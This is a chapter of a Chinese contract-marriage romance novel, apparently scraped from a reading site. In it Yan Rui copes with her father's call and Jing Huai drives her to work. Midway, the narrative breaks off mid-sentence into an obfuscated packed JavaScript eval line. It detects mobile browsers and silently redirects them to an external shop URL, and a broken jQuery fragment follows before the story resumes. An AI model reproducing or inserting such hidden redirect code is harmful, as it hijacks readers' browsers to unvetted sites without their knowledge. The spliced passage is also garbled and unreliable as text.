不记得自己是怎么进的别墅,严蕊只知道刚刚被景怀的那句‘新婚快乐’砸得有点懵。
在她自己的理解看,她和景怀的婚姻不过是假结婚,自己对婚姻和爱情是没有太大期待的,所以本能地认为景怀也是这么想。
但是,认识景怀才一个星期,严蕊不确定景怀对婚姻的态度是什么。
不过既然他们已经领了证,就先这么相处吧。
在保持自己原则的情况下,尽量不和景怀产生其他的情感,严蕊如是想。
明月山庄的别墅是她自己在住,严蕊习惯一个人,因此也没有请阿姨。
平时自己下班回来做点饭或者在外面吃都很方便。
但是今天...好像不太方便。
严蕊摸了摸肚子,还不太饿,那就加会班再吃饭吧。
刚在沙发上起身,脚腕又传来刺痛,严蕊这才想起来脚腕还受着伤呢。
找到医疗箱,里面有跌打损伤的药酒,严蕊遵照说明指示,倒出一点药酒在手上搓热,再抹到已经发肿的脚腕上。
一股浓烈的药味直扑脑门,严蕊皱了下眉,不太适应这个味道。
盖上药酒盖子,严蕊去洗了手,桌边的手机铃声响起,是渣爹严山打来的。
严蕊心里有点烦躁,渣爹打电话,那肯定是要问她领证的事情。
“喂,什么事?”
严蕊没什么好气地开口,她最讨厌渣爹嘴里那股说教的味道,明明自己对婚姻并不忠诚,却整天要求她找个人赶快结婚。
严山听见严蕊不耐烦的语气,气不打一处来:“小兔崽子,连爸都不喊了,你翅膀硬了?给我说说,领证是怎么回事?!”
严蕊:“如你所见,如你所愿,我结婚了。”
“结婚,结个屁婚,你跟谁结的,哪家的小兔崽子,你是不是随便拉个男人骗你爹呢?”
不愧是混迹商场多年的老油条,一眼看穿严蕊。
但严蕊怎么会承认呢,反驳道:“我哪敢随便拉个人结婚,万一找到您这样的男人怎么办。”
“你!”
“没别的事,我挂了。”
严山还想再说什么,却只能听见对面传来“嘟嘟嘟”的声音,气得严山一下把手机摔在沙发上。
-
送严蕊回家后,景怀其实依旧不太放心,他担心严蕊的脚伤。
虽说两人领了证,但严蕊切切实实把他当做协议伙伴,不想和他产生过多关联。
他也不好冒昧接近,只能压下心里的关心。
还不到七点,海城的天已经黑透,景怀即将到家,停下车后好友栾宁打来电话。
“干嘛呢,出来喝点?”栾宁询问,语气带着好奇。
景怀失笑,这几个人肯定是好奇他和严蕊的事情,于是作答:“来兴师问罪了?”
“这怎么是兴师问罪呢,这是担心你的婚姻大事。”
“行吧,在哪?”
“老地方,烈焰酒吧。”
“待会到。”
停好的迈巴赫重新启动,黑色的车身犹如猎物在公路上驰骋,烈焰酒吧不远,景怀很快到了。
这里他们几人常来,老板留有专门的包厢给四人,景怀一路上了二楼,进去最里面的包厢。
“吆,新婚公子哥来了?”盛长茗见景怀进来,张嘴就开始调侃,“新婚夜,不用在家陪老婆啊?”
景怀失语:“别乱说。”
栾宁也开玩笑:“跟老婆还不熟呢,是吧?”
曾意在一边被逗笑,连忙给景怀倒酒。
四人是好多年的好友,栾宁和盛长茗都在ZORE工作,曾意和他们不一样,成立传媒公司,在娱乐圈做经纪人,近年来荧幕上大火的艺人都是出自他手。
景怀和几人也不一样,从小出生在体制内家庭的他大学选择金融,留学归来后和国外的朋友一起创建了海城最大的投资公司千流资本,国外朋友只控股不执行,景怀是千流资本的实控人。
“你们就别调侃我了,我这也是出于无奈才突然领证。”景怀喝了口酒,辛辣的味道刺激着口腔。
盛长茗和严蕊比较熟,之前他追求蓝微,严蕊帮了他不少忙。
基于这层关系,他和蓝微才会把严蕊介绍给景怀。
只是,盛长茗也好奇,景怀一向对谈恋爱结婚这事没兴趣,怎么突然和严蕊领证?
“景怀,之前你爸妈给你安排不少相亲吧,你可一次都没应付过,这次怎么回事?”盛长茗笑问。
景怀修长的食指和拇指捏着酒杯,随着盛长茗的问题陷入思考。
这个问题的答案他心里明白,但似乎还比较朦胧,不能做理由,只好应付回答:“假结婚挺好,免得我爸妈再安排相亲。”
三人见景怀回答,也不再深究这个问题,只是盛长茗还在继续开玩笑:“哎呀,景怀你小子,不会是对我老婆闺蜜一见钟情了吧,那看来上周相亲挺顺利?”
景怀回想上周相亲...
一进咖啡厅,景怀看到是严蕊的时候,眼前一亮,没想到盛长茗两人介绍的女孩居然就是之前在酒吧门口见到的女孩。
景怀心里雀跃,但严蕊的话瞬间浇透他燃起的火苗。
“我不想结婚,也不想谈恋爱,如果接受形式婚姻的话,我们可以试试。”严蕊如是说,“婚后不用履行义务,双方父母那边可以互相帮忙应付一下。”
“但我不相信爱情,婚后不要对我抱有感情上的期待。”
严蕊的话很决绝,但也不知道怎么了,景怀当即就答应下来。
“想什么呢?”
身侧的栾宁戳了他一下。
景怀回神:“没什么,其实我和严蕊很久之前见过,相亲是第二次见面。”
“是吗,我怎么不知道?”
这下盛长茗变成吃惊了,他好奇地看着景怀。
“很久之前,你和蓝微分手的时候,严蕊扶着蓝微从酒吧出来,我正好撞见,那是第一次见面。”
盛长茗:“我去,这都一年多了吧,你还记得?”
“嗯。”
“还说不是一见钟情,感情是早就对人家蓄谋已久了,啧啧啧...”
景怀轻笑,没否认也没承认,喝下杯子里最后一口酒。
-
第一天全盘接手酒店的工作,严蕊一直忙到晚上十二点,终于把严山留下的全部文件看完。
从六点多忙到现在,已经饿过头,疲惫让她不想再吃东西。
洗漱完十二点半,严蕊倒头就睡。
第二天一早不到八点,严蕊被闹钟叫醒,醒来后先查看了下自己的脚腕,好像有点消肿了,但还是阵痛,无法开车。
洗漱完来到客厅,空荡荡的客厅里只有昨晚忘记关机的电脑在发出散热的声音,严蕊踉踉跄跄走过去关上电脑。
腿脚不方便,严蕊索性不吃饭了,拿出手机准备打车。
明月山庄是别墅区,打车困难,严蕊看着打车软件上的预计时间,有点焦急,等打到车估计要中午,早知道就配个司机了。
正要关闭手机,微信却突然来了条消息,是景怀发来的。
【景怀:今天怎么去上班?】
严蕊不知道景怀问这个目的何在,她打开键盘回复:还不知道。
【景怀:我去接你。】
严蕊:?
景怀要送她上班?严蕊一阵错愕,景怀为什么要主动提出要接她。
难道是因为脚伤?
应该是这样的。
严蕊却不想麻烦景怀,回绝:不用了,我打车。
【景怀:别墅区不好打车,我送你。】
严蕊:......
好吧,景怀这么绅士,她也不好再拒绝一次,只好同意。
她不知道景怀家住哪,过来明月山庄需要多久,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234776|151408||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
但出乎意料的是,景怀发完信息后不到十分钟就到了。
“你怎么来这么快?”
走出别墅,严蕊看到景怀靠在迈巴赫身上。
清晨的郊区弥漫着淡淡的薄雾,冬日的太阳打在雾里,出现丁达尔效应,柔和的晨光和雾色给人错觉,让空气里的温度看起来暖和不少。
景怀虽一身黑色,却和这幅画面完美融合。
“我开得快。”
严蕊半信半疑,一瘸一拐地走向景怀,景怀起身,来扶严蕊。
有了昨天的接触,严蕊今天没有立即躲避景怀的靠近,却还是悄悄和景怀的身体拉开一段距离。
景怀察觉到,嘴角扬起,严蕊还真是有分寸感。
车内和外面不同,温度暖和又适宜,景怀发动车子,一路向着山海居酒店大厦开去。
开了五分钟,两人都没有说话,严蕊处理手机里的消息和工作,感觉还好。
驾驶室的司机景怀却有点局促,他转头看了眼严蕊,见她在处理工作,提到嘴边的话又生生压下去。
又过了五分钟,严蕊终于放下手机,她环视一圈景怀的车子内饰,无言。
“昨天官宣结婚证,你父母有过问你吗?”
终于等到机会,景怀适时开口。
严蕊点头:“嗯,我爸给我打电话了。”
“叔叔很惊讶吧。”
“是挺惊讶的,不过被我给应付过去了。”
“我爸妈还不知道,不过估计也快了。”
“嗯。”
话题在严蕊这终结,车内又陷入寂静,这次严蕊有点坐不住,开始在脑海里搜寻话题。
她还不知道景怀的工作和家庭情况,话到嘴边,严蕊又忍住,他们是假结婚,她问这些合适吗?
应该是不合适的吧,严蕊想,随后将这个话题pass。
“今天的音乐还喜欢吗?”
片刻后,景怀再次开启话题。
车内放的依旧是流行乐,但严蕊没听过这首歌,不过也不讨厌,好像是最近一个知名歌手唱的?
其实严蕊对音乐不太敏感,听什么都可以,昨天的流行乐也是顺景怀的话应下的。
“还可以。”严蕊回答。
景怀点头,看向车内屏幕:“你可以选些自己喜欢的音乐存入收藏夹。”
这话说得有点让严蕊摸不着头脑,她又不常坐景怀的车,存音乐干嘛。
愣了片刻,回绝:“不用,我听什么都可以。”
话题又在严蕊这终结,不过好在快要到公司,严蕊指了指路边:“你就放我在路边吧,我走过去。”
“你的腿,怎么走过去?”景怀提醒。
严蕊低头,看到被毛呢长裙盖住的脚腕,这才想起来脚腕还有伤。
“额...那你开进地下车库吧,谢谢。”
“不用客气。”
开车进了大厦车库,严蕊拿上包准备下车,景怀也要下车,被严蕊阻止:“你别下去了,这个时间点,地库里很多我同事。”
“好。”景怀闷声。
严蕊明白,景怀失落是因为她提出不公开结婚对象。
她抿唇,忽然觉得对景怀好像有点不公平。
尽管已经解释过,但严蕊还是又解释了一遍:“让大家知道我老公是谁的话,他们肯定会一直八卦的,对你我影响都不好。”
轰隆一声,景怀脑中的引线被严蕊口中的那两个字点燃。
他之前从没谈过恋爱,现在直接越到结婚,头一次被人喊老公,心里怎能不悸动?
他耳根热了热,不敢再看严蕊,垂眼点头:“好。”
严蕊下车,慢慢走向电梯口。
迈巴赫里变得寂静,景怀一人在车内久久不能平复,车内的温度还是24度,但景怀却感觉自己快要烧到40度。
只因为严蕊那一句并不是对着他喊的“老公”。